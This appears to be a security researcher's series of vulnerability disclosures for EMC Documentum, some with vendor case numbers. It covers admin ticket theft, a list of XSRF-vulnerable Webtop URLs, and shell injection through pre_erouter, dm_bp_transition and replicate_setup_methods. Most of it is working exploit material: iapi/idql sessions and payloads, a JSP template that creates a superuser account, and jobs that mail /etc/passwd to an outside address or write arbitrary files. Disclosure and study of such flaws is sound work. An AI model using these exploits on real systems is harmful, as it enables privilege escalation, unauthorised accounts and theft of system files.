documentum security vulnerabilities: D2GetAdminTicketMethod (D2)

Any user is able to execute D2GetAdminTicketMethod to get superuser’s ticket:

1> create c6_method_return object set message='test'
2> go
object_created
--------------
00002ee280000e9b
(1 row affected)
1> execute do_method with method='D2GetAdminTicketMethod',
2> arguments='-docbase_name d2 -password "" -method_return_id 00002ee280000e9b'
3> go
...
(1 row affected)
1> select message from c6_method_return where r_object_id='00002ee280000e9b'
2> go
message
--------------
DM_TICKET=T0.....
(1 row affected)

documentum security vulnerabilities: multiple XSRFs in WDK applications

Cross-site request forgery attack is completely described in WikiPedia, below is a list of URLs (or components) in WDK applications (like Webtop, TaskSpace, EPFM, Documentum Administrator) vulnerable to XSRF:

DQL execution

  • /webtop/component/dqleditor?query=<query>
  • /webtop/component/appintxdql?query=<query>
  • /webtop/component/search?queryType=dql&query=<query>
  • /da/component/auditlist?query=<query>
  • /webtop/component/historicalactivityreportresults?process_id=0000000000000000&query=<query>
  • /webtop/component/processdetailreportresults?process_id=0000000000000000&query=<query>
  • /webtop/component/historicalprocessreportresults?query=<query>
  • /webtop/component/historicaluserreportresults?query=<query>
  • /webtop/action/view?objectId=<objectId of dm_query object> (executes /webtop/component/search?queryType=dql&query=<query>)
  • /webtop/action/search?queryType=dql&query=<query> (executes /webtop/component/search?queryType=dql&query=<query>)

other

  • /webtop/component/virtuallinkconnect?redirectUrl=http://url&virtualLinkPath=/webtop/component/main (sends user credentials to foreign site, found in 6.7SP2)
  • /da/component/scsaveas?objectId=<objectId> (creates copy of objects, potentially can be used to apply less restrictive ACL to copy)
  • /webtop/action/deletenotification?type=dm_notification&routerId=0000000000000000&objectId=<objectId> (deletes dmi_queue_item object)
  • /webtop/action/demote?objectId=<objectId> (demotes document)
  • /webtop/action/promote?objectId=<objectId> (promotes document)

components could be launched either directly (as in examples above) or through container:

  • /webtop/component/dialogcontainer?component=search&queryType=dql&query=<query>&componentArgs=

or through appintgcontrollerlogin component:

  • /webtop/component/appintgcontrollerlogin?dispatchitem=search&dispatchtype=component&queryType=dql&query=<query>

actions could be launched through ActionDispatcherServlet (as in examples above) or through actiondispatcher component:

  • /webtop/component/actiondispatcher?action=search&queryType=dql&query=<query>

or through any component:

  • /webtop/component/main?startupAction=search&queryType=dql&query=<query>

documentum security vulnerabilities: pre_erouter* methods

As other vulnerable methods (dm_event_sender, replicate_setup_methods) pre_erouter* methods do not check input parameters and can be used to execute any shell command:

API> retrieve,c,dm_method where object_name like 'pre_erouter%'
...
1001ffd78000046c
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : pre_erouter1_queue
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 3
  method_verb                     : dmawk
  launch_direct                   : F
  launch_async                    : F
  trace_launch                    : T
  run_as_server                   : T
  use_method_content              : T
  method_type                     : dmawk
  use_method_server               : F
  is_restartable                  : F
#  Echo_attr()
  cmdstr = "dmbasic -f " dm_home"/bin/dm_rendPDF_preq.ebs" \
        " -e preq -- " \
        " -docbase " docbase_name \
        " -user " user_name \
        " -router " routerid \
        " -package " packageid \
        " -task " task \
        " -source " source \
        " -ticket " ticket
  ret = system(cmdstr)
  exit (ret)

example of exploitation:

 ~]$ cat  /tmp/test
cat: /tmp/test: No such file or directory
 ~]$ idql repo -Uusername -Ppassword >/dev/null <<_EOF_
> execute do_method with method='pre_erouter4_forward',
> arguments='-docbase ";echo awk_methods_have_vulnerability > /tmp/test;"'
> go
> _EOF_

 ~]$ cat  /tmp/test
awk_methods_have_vulnerability
 ~]$

This vulnerability was reported as CS-44409 (Security vulnerability with pre_erouter methods – shell injection)

documentum security vulnerabilities: dm_bp_transition method

Documentum has two implementations of lifecycle transitions:

  • dmbasic
  • java

The first one is implemented by dm_bp_transition method:

API> retrieve,c,dm_method where object_name='dm_bp_transition'
...
1001ffd780000176
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dm_bp_transition
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 3
  method_verb                     : ./dmbasic -f./dm_bp_transition.ebs -eBP_Transition
  method_args                   []: <none>
  launch_direct                   : T
  launch_async                    : F
  trace_launch                    : F
  run_as_server                   : T

this method accepts following parameters:

Sub BP_Transition(_
    docbase_name$,_
    server_config_name$,_
    user_name$,_
    user_ticket$,_
    sysID$,_
    policyID$,_
    aliasID$,_
    userEntryID$,_
    actionID$,_
    userActionID$,_
    userPostprocID$,_
    targetState$,_
    targetStateNo$,_
    resumeStateNo$,_
    run_entry$,_
    run_actions$,_
    commitFlag$,_
    attachFlag$,_
    login_as$,_
    orig_sessionID$)

the most interesting parameters are: user_name$ which is used to construct repository session:

  buff = "connect," & docbase_name & "." & server_config_name _
         & "," & user_name & "," & user_ticket
  sess = dmAPIGet(buff)

  If sess = "" Then
    dmExit(CONNECTION_ERROR)
  End If

and userPostprocID$ which is used to run custom dmbasic procedure:

  If (result = True And commitFlag = "T") Then
    If (debug = True) Then
      PrintToLog sess, "Commit the changes."
    End If
    result = CommitIt(sess, sysID, policyID, aliasID, targetStateNo, resumeStateNo, attachFlag)
    If (result = True) Then
      If (debug = True) Then
        PrintToLog sess, "Run post action."
      End If
      result = RunProcedure(userPostprocID, 4, sess, sysID,_
                            user_name, targetState)
    End If
  Else

Such implementation allows any user to write own dmbasic procedure and run it with installation owner privileges, example:

$ cat /tmp/test  
cat: /tmp/test: No such file or directory  
$ cat > test.ebs  
Public Function EntryCriteria(ByVal SessionId As String, 
                              ByVal ObjectId As String, 
                              ByVal UserName As String, 
                              ByVal TargetState As String, 
                              ByRef ErrorString As String
                ) As Boolean  
  t = ShellSync("echo dm_bp_transition_has_vulnerability > /tmp/test")  
  EntryCriteria=True  
End Function  
$ iapi  
Please enter a docbase name (docubase): repo  
Please enter a user (dmadmin): unprivileged_user  
Please enter password for unprivileged_user:  
  
  
        EMC Documentum iapi - Interactive API interface  
        (c) Copyright EMC Corp., 1992 - 2011  
        All rights reserved.  
        Client Library Release 6.7.1000.0027  
  
  
Connecting to Server using docbase repo  
[DM_SESSION_I_SESSION_START]info:  "Session 0101d920800b1a37 
       started for user unprivileged_user."  
  
  
Connected to Documentum Server running Release 6.7.1090.0170  Linux.Oracle  
Session id is s0  
API> create,c,dm_procedure  
...  
0801d920804e5416  
API> set,c,l,object_name  
SET> test  
...  
OK  
API> setfile,c,l,test.ebs,crtext  
...  
OK  
API> save,c,l  
...  
OK  
API> ?,c,execute do_method with method='dm_bp_transition', 
         arguments='repo repo dmadmin "" 0000000000000000 0000000000000000 
                    0000000000000000 0801d920804e5416 0000000000000000 0000000000000000 
                    0000000000000000 "" 0 0 T F T T dmadmin 0000000000000000
         '  
(1 row affected)  
  
API> Bye  
$ cat /tmp/test  
dm_bp_transition_has_vulnerability

This vulnerability was reported as CS-44439 (Security vulnerability with dm_bp_transition.ebs – shell injection)

documentum security vulnerabilities: dm_event_template_sender

dm_event_template_sender method is a friend of dm_event_sender method, and as dm_event_sender can be used to gain superuser privileges 🙂 dm_event_template_sender method is intended to send notifications for workflow tasks and internally it works by the following way:

  • determines corresponding activity and workflow template
  • checks whenever dm_wf_email_template relation exists between activity or template
  • if relation exists and child is a jsp method “executes” jsp page

The problem is dm_event_template_sender does no check owner of mail template object, so any user is able to create own mail template and execute any code in JMS context. Example of exploitation:

~]$ cat > test.jsp  
<%@ page import="com.documentum.fc.client.DfClient" %>  
<%@ page import="com.documentum.fc.client.IDfSession" %>  
<%@ page import="com.documentum.fc.client.IDfUser" %>  
<%@ page import="com.documentum.fc.common.DfLoginInfo" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page contentType="text/html; charset=UTF-8" %>  
<%@ taglib uri="/dmp" prefix="dmp" %>  
  
<%  
    Object prs = request.getAttribute("param_resolution_attr");  
    Class<?> prsClass = prs.getClass();  
    Field contextField = prsClass.getDeclaredField("m_context");  
    contextField.setAccessible(true);  
    Object prc = contextField.get(prs);  
    contextField.setAccessible(false);  
  
    Class<?> prcClass = prc.getClass();  
    Field sessionField = prcClass.getDeclaredField("m_session");  
    sessionField.setAccessible(true);  
    IDfSession dfSession = (IDfSession) sessionField.get(prc);  
    String docbaseName = dfSession.getDocbaseName();  
    String serverName = dfSession.getServerConfig()  
            .getString("object_name");  
    String installOwner = dfSession.getServerConfig()  
            .getString("r_install_owner");  
    dfSession = new DfClient().newSession(docbaseName + "." + serverName,  
            new DfLoginInfo(installOwner, null));  
  
    IDfUser user = (IDfUser) dfSession.newObject("dm_user");  
    user.setUserLoginName("test3");  
    user.setUserName("test3");  
    user.setUserSourceAsString("inline password");  
    user.setUserPassword("test3");  
    user.setUserPrivileges(16);  
    user.save();  
    if (true) {  
        throw new Exception();  
    }  
%>  
~]$  
  
//new email template  
API> create,c,dm_document  
...  
0901d9208054e69a  
API> set,c,l,object_name  
SET> test  
...  
OK  
API> setfile,c,l,test.jsp,jsp  
...  
OK  
API> link,c,l,/Temp  
...  
OK  
API> save,c,l  
...  
OK  
  
//Quickflow process  
API> retrieve,c,dm_process where object_name='dmSendToList2'  
...  
4b01d920800002a5  
  
//Relation between Quickflow process and email template  
API> create,c,dm_relation  
...  
3701d9208003c900  
API> set,c,l,relation_name  
SET> dm_wf_email_template  
...  
OK  
API> set,c,l,parent_id  
SET> 4b01d920800002a5  
...  
OK  
API> set,c,l,child_id  
SET> 0901d9208054e69a  
...  
OK  
API> set,c,l,description  
SET> dm_startedworkitem  
...  
OK  
API> save,c,l  
...  
OK  
  
//tests  
API> retrieve,c,dm_user where user_name='test3'  
...  
[DM_API_E_NO_MATCH]error:  "There was no match in the docbase for the qualification:  
   dm_user where user_name='test3'"  
  
// go to webtop and run Quickflow to create workflow instance,  
// if dm_event_template_sender is a default mail method  
// new user will created automatically, otherwise run dm_event_template_sender  
// manually  
  
API>?,c,execute do_method with method='dm_event_template_sender',  
        arguments='"repo" "none" "dm_startedworkitem" " " "dormant" "workitem_id"  
        "none" "5" "workflow_id" "worklfow_name" "dmamdin" "dmadmin" " " "1"  
        "dmadmin" " " "undefined" "test@test.com" "queueitem_id" "02.01.2014 13:24:12"  
        "0" "manual" " " "0" " " "hostname|80" " " "temfile"  
        "./dm_mailwrapper.sh" "tempfile" "127.0.0.1"'  
  
API> retrieve,c,dm_user where user_name='test3'  
...  
1101d9208007810i

documentum security vulnerabilities: execution of “protected” methods

Some of repository methods are insecure by design, for example “mail” method just executes program dm_mailwrapper.sh:

API> retrieve,c,dm_method where object_name='mail'
...
1001d92080000174
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : mail
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 5
  world_permit                    : 3
  method_verb                     : ./dm_mailwrapper.sh

dm_mailwrapper.sh can send contents of any text file to user:

#!/bin/sh
# Mail wrapper: customize if you like
# Server will pass in subject, address and content_file
# Return of 0 means send succeeded, non-zero status results in the
# server generating an error message iff the method was launched
# synchronously.

delete_contents=0
if [ x"$1" = x"-delete_contents" ] ; then
  delete_contents=1
  shift
fi

subject=$1
address=$2
content_file=$3

/bin/mail -s "$subject" "$address" < $content_file
status=$?

if [ $delete_contents = 1 ] ; then
  # remove the temporary content file once it is sent
  \rm $content_file
fi

exit $status

but non-privileged user is not able to execute mail method directly:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
1> execute do_method with method='mail',
2> arguments='test andrew@panfilov.tel /etc/passwd'
3> go
[DM_METHOD_E_ASSUME_USER_UV]error:  "Your method named (mail) failed to execute 
  because the assume user process could not validation your user credentials.  
  Assume User Process returned (245=DM_CHKPASS_BAD_LOGIN)."

Bad news is Content Server allows execute such methods through executing jobs and any user is able to create own job object:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
1> create dm_job object
2> set object_name = 'malicious job'
3> set inactivate_after_failure = FALSE
4> set max_iterations = 0
5> set method_name = 'mail'
6> set pass_standard_arguments = FALSE
7> set run_interval = 1
8> set run_mode = 1
9> set run_now = TRUE
10> set start_date = DATE('11/24/2013','mm/dd/yyyy')
11> set expiration_date = DATE('12/11/2016','mm/dd/yyyy')
12> set a_next_invocation = DATE('11/24/2013','mm/dd/yyyy')
13> set is_inactive = FALSE
14> set world_permit=7
15> append method_arguments = 'test'
16> append method_arguments = 'andrew@panfilov.tel'
17> append method_arguments = '/etc/passwd'
18> go
object_created
----------------
0801d920805675b0
(1 row affected)

Though agentexec checks job’s owner privileges before executing jobs it’s possible to change owner of created job object either through API or Webtop:

Connected to Documentum Server running Release 6.7.1230.0293  Linux.Oracle
Session id is s0
API> set,c,0801d920805675b0,owner_name
SET> dmadmin
...
OK
API> save,c,0801d920805675b0
...
OK
API>

Another “useful” method in docbase is dm_file_writer – it can be used to edit any text file:

API> retrieve,c,dm_method where object_name='dm_file_writer'
...
1001d920800003a1
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : dm_file_writer
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  method_verb                     : dmbasic -eEntryPoint -f../install/admin/dm_file_writer.ebs
Sub EntryPoint(FilePath As String, DmData As String, WriteMode As String)
    On Error Goto ErrorCatch

    Select Case WriteMode
    Case "DELETE"
        Call chgEntry(FilePath, DmData, WriteMode)
    Case "CREATE"
        Open FilePath For Append As #2
        Print #2, DmData
        Close #2
    Case "UPDATE"
        Call chgEntry(FilePath, DmData, WriteMode)
    Case "APPEND"
        Call chgEntry(FilePath, DmData, WriteMode)
    End Select
    DmExit 0

    ErrorCatch:
        Print Error$()
        DmExit 1
End Sub

exploitation of dm_file_writer method:

 ~]$ idql repo -Uuser -Ppassword >/dev/null <<_EOF_
> create dm_job object
> set object_name = 'malicious file writer'
> set inactivate_after_failure = FALSE
> set max_iterations = 0
> set method_name = 'dm_file_writer'
> set pass_standard_arguments = FALSE
> set run_interval = 1
> set run_mode = 1
> set run_now = TRUE
> set start_date = DATE('11/24/2013','mm/dd/yyyy')
> set expiration_date = DATE('12/11/2016','mm/dd/yyyy')
> set a_next_invocation = DATE('11/24/2013','mm/dd/yyyy')
> set is_inactive = FALSE
> set world_permit=7
> append method_arguments = '/tmp/test.txt'
> append method_arguments = 'agentexec_has_vulnerability'
> append method_arguments = 'CREATE'
> go
> _EOF_
 ~]$ iapi repo -Uuser -Ppassword >/dev/null <<_EOF_
> retrieve,c,dm_job where object_name='malicious file writer'
> set,c,l,owner_name
> dmadmin
> save,c,l
> _EOF_
 ~]$ sleep 60
 ~]$ cat /tmp/test.txt
agentexec_has_vulnerability
 ~]$

Another one vulnerable method is replicate_setup_methods:

API> retrieve,c,dm_method where object_name='replicate_setup_methods'
...
1001ffd780000216
API> dump,c,l
...
USER ATTRIBUTES

  object_name                     : replicate_setup_methods
  owner_name                      : dmadmin
  owner_permit                    : 7
  group_name                      : docu
  group_permit                    : 1
  world_permit                    : 1
  method_verb                     : ./dmbasic -ermain
  launch_direct                   : T
  launch_async                    : F
  trace_launch                    : F
  run_as_server                   : T
  use_method_content              : T

it allows to execute any shell command:

Function my_mkfile (passwd as string, filepath as string) As Integer
    Dim  pathsep As String
    Dim  fnum As Integer

    Dim thisDocbaseName As String
    Dim newPass As String
    Dim numberOfSubDirs As Integer

    Dim theUser As String
    Dim thePass As String
    Dim theDomain As String
    Dim newLine As String

    On Error Resume Next
    Kill filepath & ".old"
    Name filepath As filepath & ".old"
    pathsep = Basic.PathSeparator$
    fnum = FreeFile
    Open filepath For Output Access Write Lock Write As #fnum
    Close #fnum
    If Basic.OS = ebWin32 Then
        ret% = ShellSync("." & pathsep & "dmutil chmod 700 " & filepath)
    Else
        ret% = ShellSync("chmod 700 " & filepath)
    End If

example of parameters:

mkfile 
""
;echo replicate_setup_methods_has_vulnerability > /tmp/test;
false